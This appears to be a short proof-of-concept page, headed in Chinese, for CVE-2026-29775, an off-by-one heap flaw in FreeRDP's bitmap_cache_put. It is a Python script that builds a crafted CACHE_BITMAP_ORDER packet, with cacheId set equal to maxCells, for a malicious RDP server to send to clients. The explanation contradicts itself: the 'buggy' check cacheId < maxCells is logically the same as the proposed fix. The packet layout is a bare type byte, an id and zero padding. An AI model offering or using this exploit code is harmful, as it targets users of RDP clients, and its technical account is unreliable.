CVE-2026-29775 FreeRDP bitmap_cache_put堆越界读写漏洞

# CVE-2026-29775 PoC - Malicious RDP Server Trigger # This PoC demonstrates the off-by-one vulnerability in FreeRDP's bitmap_cache_put # The server sends a CACHE_BITMAP_ORDER with cacheId = maxCells to trigger heap overflow import struct def create_cve_2026_29775_poc(): """ Generate malicious CACHE_BITMAP_ORDER packet to trigger off-by-one in bitmap_cache_put Vulnerability: In FreeRDP < 3.24.0, bitmap_cache_put has off-by-one boundary check When cacheId == maxCells, the guard check is bypassed, accessing cells[cacheId] out of bounds """ # RDP Header pkt_type = 0xE6 # CACHE_BITMAP_ORDER (Rev1) # Bitmap Cache Info - maxCells value max_cells = 100 # Example maxCells value # Malicious cacheId - equal to maxCells (off-by-one trigger) malicious_cache_id = max_cells # This bypasses the guard check # Construct CACHE_BITMAP_ORDER packet # Format: header + cacheId + bitmapData packet = struct.pack('>B', pkt_type) # Packet type packet += struct.pack('<I', malicious_cache_id) # cacheId = maxCells (trigger) # Add bitmap data to complete the packet packet += b'\x00' * 64 # Minimal bitmap data print(f"[+] Generated CVE-2026-29775 PoC packet") print(f"[+] Malicious cacheId: {malicious_cache_id} (maxCells: {max_cells})") print(f"[+] This will cause cells[{malicious_cache_id}] to be accessed out of bounds") return packet def simulate_exploit(): """ Simulate the vulnerable code path """ print("\n[!] Vulnerable code check:") print(" if (cacheId < maxCells) { // BUG: Should be cacheId <= maxCells-1") print(" // Access cells[cacheId] - VULNERABLE when cacheId == maxCells") print(" }") print("\n[+] Attack: Set cacheId = maxCells") print("[+] Result: Boundary check bypassed, OOB access on cells[] array") if __name__ == "__main__": create_cve_2026_29775_poc() simulate_exploit()